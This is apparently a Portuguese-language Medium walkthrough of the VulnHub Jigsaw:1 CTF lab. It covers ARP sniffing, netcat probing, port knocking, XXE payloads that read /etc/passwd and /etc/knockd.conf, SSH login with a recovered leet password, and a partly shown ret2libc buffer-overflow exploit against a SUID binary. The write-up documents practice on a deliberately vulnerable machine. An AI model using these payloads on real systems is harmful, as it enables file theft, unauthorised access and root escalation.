VulnHub Jigsaw:1 (Walkthrough). Apresento hoje mais um excelente… | by André Henrique | Medium
Sep 28, 2019·16 min read
Apresento hoje mais um excelente desafio no estilo boot2root CTF. A ideia é bem semelhante à outros da mesma categoria: enumeração, exploração, elevar privilégios e ler a flag final. Com um "tempero" um pouco mais pesado, esta máquina aborda conceitos de Buffer Overflow e Ataques Ret2Libc.
Desta vez, trago mais uma máquina do autor Zayotic, e para aqueles que já tem alguma prática em suas VMs, saiba que esta é mais uma de nível Hard to Insane (ノಠ ∩ಠ)ノ彡( \o°o)\
Apresento a VM Jigsaw:1 que está disponível no VulnHub para fins de exploração e práticas de pentest. Pertence a série de máquinas Jigsaw.
jigsaw: 1, made by Zayotic. Download & walkthrough links are available.
VM Alvo: Jigsaw:1
É sempre importante observar algumas dicas do autor (quando houver alguma), pois isto evitará perda de tempo em outras atividades.
We recommend that you use VirtualBox over VMware for this VM.
Note, Check for ARP rather than port scans.
Observando suas recomendações, ao invés de realizarmos uma busca padrão para enumeração de serviços, o autor indica ficar atento aos "pacotes ARP" oriundos provavelmente da VM alvo.
Identificando o dispositivo alvo na rede
Utilizando o método que preferir, busque e identifique os hosts da rede alvo (neste caso do laboratório é a mesma rede que você está conectado). Utilizei o arp-scan, porém fique a vontade para utilizar o nmap ou o netdiscover, por exemplo:
arp-scan --ignoredups --localnet
Normalmente, você poderia iniciar uma varredura de portas em busca de serviços e/ou alguma vulnerabilidade. Porém, o autor deixa uma dica sutil informando para prestar mais atenção aos pacotes ARP:
Assim, optei por iniciar uma captura de pacotes de redes com um sniffer. Nesta etapa, você poderá utilizar qualquer sniffer de sua escolha, como por exemplo o Wireshark. Eu optei por utilizar o tcpdump:
tcpdump -i eth1 -A -n host 192.168.0.6 and arp## Explicando...
-i eth1: seleciona a interface de rede
-A: apresenta os resultados com padrão ASCII
-n: não resolve nomes de domínio
host 192.168.0.6: endereço ip de quem vamos observar o tráfego
and arp: apenas tráfego ARP
Porém, a única informação capturada é padrão deste protocolo ARP. Assim, deduzi que poderia ser uma dica falsa ou ao menos uma pegadinha e desta forma, decidi então "excluir da captura todo tráfego ARP". Para isto, acrescentei o parâmetro: "and not arp".
tcpdump -i eth1 -A -n host 192.168.0.6 and not arp
E bingo!! ( ˘ ³˘)♥
Enfim uma nova informação obtida de um tráfego vindo do protocolo UDP na porta 666, a mensagem:
j19s4w was always fascinated with l33t speak, in fact he uses it for a lot of his passwords
Ao que tudo indica, podemos ter alguma senha em modo leet ou algo esperado com esta característica. Dessa forma, realizei um teste básico na porta 666 utilizando o Nmap, a fim de identificar algum serviço:
nmap -sUV -T4 --version-intensity 9 -p666 -Pn 192.168.0.6 -vv
Netcat message grab
Infelizmente o Nmap não trouxe alguma informação útil. Além disso, ao que tudo indica, há um serviço de proteção na porta 666 filtrando o tráfego.
Sabemos que esta porta está enviando dados através de algum serviço (não identificado ainda). Assim, podemos testar a conexão com esta porta e avaliar se conseguimos capturar algum banner:
nc -u 192.168.0.6 666
Observe que após testar algumas palavras, conseguimos um texto cifrado quando enviamos "j19s4w" (leet mode). A mensagem parece ser em base64 (👁 ͜ʖ👁). Para facilitar, é possível enviar a mensagem junto com a conexão. Você pode mandar com "python" ou com "echo" ou qualquer outra forma de exibir mensagens via terminal e redirecionar esta saída para a conexão do Netcat.
python -c "print 'j19s4w'" | nc -u 192.168.0.6 666
Desta forma, já temos nossa mensagem cifrada em base64. Para confirmar, vamos realizar um decode desta mensagem. Aqui fique a vontade em copiar e depois decodar ou simplesmente aproveitar a saída do Netcat e redirecionar para o comando "base64 -d" do Linux.
python -c "print 'j19s4w'" | nc -u 192.168.0.6 666 -q1 | base64 -d
Wow guys!! Bingo!! Temos uma nova dica!! |o|
Conseguimos a flag1 e a dica para a próxima etapa.
flag1{3034cc2927b59e0b20696241f14d573e}You completed your first test.
Now knock these numbers to find what you seek. 5500 6600 7700
Seguindo para a próxima dica, será necessário realizar um procedimento conhecido como "Port Knocking".
Desta maneira, após realizar este "toc toc" na sequência correta, o firewall deverá liberar o acesso à alguma outra porta que antes não era possível conectar-se. Para realizar este procedimento, você pode simplesmente se conectar nestas portas na sequência informada usando qualquer serviço de conexão que desejar: knockd, netcat, telnet, nmap, etc…
Para este guia, utilizei o próprio nmap, através de um script básico:
for knock in 5500 6600 7700; do nmap -Pn --host-timeout 201 --max-retries 0 -p $knock 192.168.0.6; done
Embora a saída do Nmap não diga que houve sucesso, agora é possível simplesmente realizar uma nova varredura neste host que provavelmente encontraremos alguma porta aberta.
nmap -A -T4 -p- 192.168.0.6
(̿▀̿ ̿Ĺ̯̿̿▀̿ ̿)̄ Agora é possível acessar um serviço web através da porta 80 deste host.
Como a página inicial só traz uma imagem (boneco "personagem" da série de filmes "jigsaw" ¯\_(⊙_ʖ⊙)_/¯). Portanto, é sempre bom também analisar o código-fonte desta página exibida.
<!-- When you are in hell, only your mind can help you out. Test #2 will soon arrive. -->
Embora não tenha muita informação, já sabemos que ainda vem mais "testes" por aí! t(-.-'t)
A primeira tentativa foi buscar por informações no arquivo "/robots.txt", mas retornou um "404 not found". Também podemos tentar buscar por diretórios através de webcrawlers como Dirsearch, Gobuster, Dirb, etc.
Infelizmente este procedimento não retornou nenhum diretório conhecido através de dicionários comuns e como não há muita dica aqui, optei por tentar outras alternativas.
Buscando informações escondidas (Esteganografia)
Em outras alternativas, é possível identificar através do código-fonte da página, um arquivo de imagem GIF.
Se levar em conta o "pensar fora da caixa" comum em desafios de CTF, ao se deparar com imagens e arquivos de dados, surge logo a ideia de "esteganografia", dados ocultos em outros arquivos.
Desta forma, após o download desta imagem, o processo básico é logo buscar com textos claros (strings) vazadas na estrutura do arquivo. Com o comando "strings" do Linux, podemos fazer uma busca rápida no arquivo.
file jigsaw.gif
strings jigsaw.gif
Após testar algumas informações que poderiam ser novos diretórios ou arquivos, chegamos a última linha da saída do comando "strings". Ao que tudo indica, trata-se de um novo caminho e desta forma, podemos testar direto no navegador.
Agora que já descobrimos um novo ambiente, temos acesso a um formulário de login. Após alguns testes, sempre que inserimos algum usuário incorreto, o formulário apresenta uma mensagem de erro, conforme imagens abaixo.
Como já é de costume, podemos avaliar o código-fonte em busca de alguma informação que possa ser alguma dica ou alguma falha de desenvolvimento, como um comentário, link, path, etc.
Aqui temos uma função em XML que trata este formulário de login. E se você já é um praticante experiente de desafios CTF ou mantém-se atualizado sobre novos ataques, já deve ter percebido que provavelmente poderemos explorar este ambiente utilizando algum "Ataque XXE".
Test #2: Ataque XML eXternal Entity (XXE)
Ao que tudo indica, este ambiente "pode" estar vulnerável a ataques do tipo XXE. Desta forma, podemos tentar alterar a requisição original e manipular estes dados a fim de obter informações sensíveis de dentro do servidor.
O Ataque XXE é um tipo específico de Server-Side Request Forgery (SSRF) e acontece quando uma requisição utilizando XML não é sanitizada (tratada corretamente), possibilitando assim a queda do serviço e/ou o acesso direto aos arquivos e informações do servidor, entre outros impactos. Isso acontece quando a informação recebida pelo servidor, contendo referência a uma entidade externa, é processada de forma insegura.
Saiba mais sobre este método de ataque através do artigo publicado no portal do OWASP.
This is a Vulnerability. To view all vulnerabilities, please see the Vulnerability Category page. Last revision…
Para testar o ambiente, você pode interceptar a requisição original e alterar estes dados inserindo seu payload. Para auxiliar nesta etapa, utilizei um payload padrão do "PayloadsAllTheThings" disponível no Github.
Internal Entity: If an entity is declared within a DTD it is called as internal entity. Syntax: External Entity: If an…
Utilizei o Burpsuite para interceptar uma tentativa de login e compreender melhor a requisição conforme imagem a seguir.
Basicamente, os dados enviados via método POST são:
<?xml version="1.0" encoding="UTF-8"?><root><email>meu_email</email><password>minha_senha</password></root>
Compreendendo este processo de requisição/resposta, podemos manipular os dados enviados via POST e submeter nosso payload.
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ELEMENT test ANY > <!ENTITY meu_email SYSTEM "file:///etc/passwd" >]><root><email>&meu_email;</email><password></password></root>
Wow… excelente!! O sistema de fato é vulnerável a ataques XXE.
Com o teste, conseguimos ler o arquivos de senhas usuários do Linux.
Agora que já temos a prova de conceito, podemos então continuar explorando. Além disso, também já sabemos que há um usuário chamado "jigsaw", com permissão de login para esta máquina.
Por se tratar de um acesso realizado através do recurso de proteção "Port Knocking" é ideal então ler as informações do arquivo de configuração deste serviço localizado em: /etc/knockd.conf.
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ELEMENT test ANY > <!ENTITY meu_email SYSTEM "file:///etc/knockd.conf" >]><root><email>&meu_email;</email><password></password></root>
O arquivo retornou algumas configurações para abrir e fechar portas específicas, utilizando "Port Knocking". Além disso, também já temos a sequência para liberar também o acesso à porta 22 para SSH.
Acessando o SSH (porta 22)
Agora que já sabemos como liberar o SSH, vamos ao teste e exploração deste serviço. Realizamos este procedimento anteriormente utilizando um script básico para "bater" na sequência e portas corretas. Porém, o sistema Kali Linux já possui o comando "knock" para realizar este procedimento conforme exemplo abaixo.
knock 192.168.0.6 7011 8011 9011
nmap -A -T5 -p22 192.168.0.6
Agora já podemos tentar acessar este serviço. Temos em mãos o usuário "jigsaw" mas não muita informação sobre a provável senha. Porém, se voltar um pouco antes, durante o procedimento de Network Sniffing, capturamos uma mensagem via protocolo UDP.
Você pode até tentar alguns métodos para misturar estas palavras, gerar anagramas e palavras e modo leet, mas já adianto que a senha é o próprio nome do usuário em modo leet.
Usuário: jigsaw
Senha: j19s4w
Assim, com as credenciais em mãos, basta testar e validar o acesso.
ssh jigsaw@192.168.0.6password: j19s4w
Assim que acessamos a máquina, já temos um aviso bastante interessante:
=> There are 2 zombie processes[¬º-°]¬
A mensagem dá uma possível ideia para analisar os processos em execução nesta máquina. Também realizei esta varredura, mas não me retornou muita informação.
Desta forma, podemos navegar entre diretórios e buscar arquivos e pastas com permissão de escrita, leitura e execução, buscar por permissões de SUDO e também por executáveis com SUID e/ou GUID.
Após listar o conteúdo da pasta do usuário atual, já identificamos um arquivo TXT que contém a flag2.
Maravilha pessoal!! Conseguimos a flag2!! ;)
Infelizmente, como nem tudo são flores ლ(ಠ_ಠლ) (já dizia um antigo professor), parece que este não é o final
Hack or fail. Make your choice... Now comes your final test.
Já a busca por executáveis SUID nos trouxe um binário bem interessante.
Este binário "/bin/game3" dá uma ideia de que estamos no caminho certo, pois se conferir os caminhos até o momento, este será o 3º desafio (3º == game3, pegou a dica?? kkkkkk).
Trata-se de um arquivo do tipo ELF 32bits, ou seja, um executável para Linux. Aqui poderíamos buscar por strings, testar as saídas entre outros métodos: tudo é válido. Porém, adiantando o processo aqui, após alguns testes (inserindo diversos dados como entrada), identifiquei um possível estouro de pilha, ou seja, provavelmente este binário é vulnerável a "Buffer Overflow".
Criando eXploit para Buffer Overflow (BoF XPL)
Confesso a vocês que meu conhecimento em exploração de binários, como em BoF e engenharia reversa em ELF é bastante básico (ainda), mas estou trabalhando para evoluir esta habilidade. ¯\_(ツ)_/¯
Assim, recorri ao "bom e velho Google" em busca de alguma ajuda.
Vamos analisar com calma o returno do comando "file" para compreender melhor cada etapa a seguir.
jigsaw@jigsaw:~$ file /bin/game3 /bin/game3: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=affd50502e973bd3d6d0637028395d87ba695ab9, not stripped
O resultado da execução do comando mostra que temos um ELF 32-bit executável, dynamically linked (ligado com 'includes' da libc) e not-stripped (significando que contem todas as informações de depuração).
Você pode remover estas informações com a opção -g no gcc durante o processo de compilação do programa em C.
Como a máquina alvo não possui um depurador interno (como o GDB), optei por copiar o binário para minha máquina atacante e tentar explorar este binário por lá para criarmos nosso exploit. Aqui trata-se de BoF Ret2Libc (Return-to-libc).
O ataque return-to-libc é um ataque normalmente inicia com um BoF em que o endereço de retorno da função chamada na pilha é substituído pelo endereço de uma outra instrução, e uma parte da pilha é sobrescrita para fornecer argumentos para esta função. Isto permite que o atacante invoque uma função preexistente sem precisar injetar código malicioso no programa. Uma biblioteca compartilhada chamada "libc" provê o runtime C em sistemas baseados em UNIX (como o Linux). Embora o atacante pudesse fazer o código retornar para qualquer lugar, libc é o alvo mais comum, como ela está sempre ligada ao programa, e oferece chamadas úteis ao atacante (como uma chamada de sistema para executar um programa arbitrário que necessite somente um argumento). É por isso que o ataque é chamado return-to-libc mesmo quando o endereço de retorno pode apontar para um local completamente diferente. (Wikipedia)
O comando abaixo, copia o binário da máquina alvo para a máquina atacante.
scp jigsaw@192.168.0.6:/tmp/game3 /home/meu_usuario
Check Buffer length (Tamanho do Buffer)
Sabemos que após a inserção de determinadas quantidades de caracteres o executável retorna "falha de segmentação", um estouro. Porém, se você for testar um caractere por vez até encontrar a quantidade correta, poderá perder bastante tempo.
Portanto, é mais rápido utilizar as funções "pattern_create" e "pattern_offset" do gdb-peda para identificar o padrão e qual a quantidade em que ocorreu o estouro.
Não vou entrar em detalhes sobre criação de exploits, nem tão pouco em técnicas para exploração de BoF ou uso da ferramenta gdb-peda. Desta forma, indico que você, caso precise, dê uma lida sobre o assunto. Abaixo segue um blog muito interessante, escrito por "Helvio Junior" que poderá lhe ajudar mais.
Criação de Exploits - Parte 0 - Um pouco de teoria - Helvio Junior
Neste post irei inaugurar uma nova seção do site onde postarei uma série de tutoriais de como realizar a criação de…
Após a execução do binário com o padrão criado com 200 caracteres (pattern_create 200), é retornado um estouro no endereço: 0x41344141. Observe a imagem abaixo e veja o padrão que preencheu a EIP.
EIP : ponto de instrução (instruction pointer) : mantém o ponto de memória do código da próxima instrução
Com a função "pattern_offset" vamos identificar em qual quantidade houve de fato o estouro. Basta informar para a função, o valor (padrão) que foi para a EIP.
gdb-peda$ pattern_offset AA4A
Agora já sabemos o número de caracteres para substituir e preencher a EIP é 76. Este é o tamanho do nosso Buffer.
Portanto, iniciaremos nossa exploração. Para este exploit utilizei a linguagem python, pois tem permissão de execução na máquina alvo.
Para compreender o processo de criação de payload para explorar o ataque ret2libc, utilizei como guia o artigo publicado no blog SpZ.
Buffer Overflow - Return to Libc - SpZ
In information security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while…
First Payload Script
A fim de testar, vamos desenvolver nosso primeiro payload e testar. Abaixo segue um exemplo básico de payload em python:
import structbuf = "A" * 76
buf += struct.pack("<I", 0xabcdef00) #Exit Addr (não importa agora)print buf
Salve este payload em algum "arquivo.py" e execute no gdp-peda.
gdb-peda$ run `python arquivo.py`
Observe que conseguimos preencher a EIP com os dados que enviamos. Assim, perceba que o endereço de saída (Exit Address) foi manipulado.
Get System, exit and /bin/sh addresses
Para sobrescrever a EIP e injetar nosso shell, precisaremos ainda pegar mais 3 endereços: Libc System Address, Libc Exit Address, Libc "/bin/sh" Address.
Assim, voltamos agora para nossa máquina alvo e iremos criar o payload diretamente neste host. Recomendo acessar algum diretório que o usuário atual tenha permissão de escrita, como por exemplo o "/tmp".
No host, digite o comandos abaixo para coletar os respectivos endereços para Libc.
ldd /bin/game3 | grep libc
Agora temos os seguintes endereços:
Libc Base Addr: 0xb755f000
Libc System Addr: 0x00040310
Libc Exit Addr: 0x00033260
Libc /bin/sh Addr: 0x00162d4c
Vamos ao nosso exploit. Crie um arquivo no diretório que você escolheu anteriormente com o editor de sua preferência (neste host há o VI e o Nano).
Abaixo segue um exemplo de código para nosso payload. Não adianta querer copiar e colocar o código que provavelmente os endereços serão diferentes em seu ambiente.
O exemplo do payload abaixo foi retirado do Blog SpZ, informado antes.
base_addr = 0xb755f000
sys_addr = struct.pack("<I", base_addr+0x00040310)
exit_addr = struct.pack("<I", base_addr+0x00033260)
shell_addr = struct.pack("<I", base_addr+0x00162d4c)
buf += shell_addr
Após executar o payload, aguarde alguns segundos. Como não acrescentei nenhum texto de feedback para sua tela, o loop while fica tentando até conseguir injetar o payload.
Caso deseje ter algum retorno em tela durante a execução do payload, basta acrescentar algum "print" dentro do loop while:
print("Tentando...: %s" % (i))
Wow guys!! (╯°□°)╯︵ ┻━┻
Mais um sistema Owned!! ;)
Escrever este artigo não foi fácil, pois ainda estou desenvolvendo minhas habilidades em PWN! huahuahua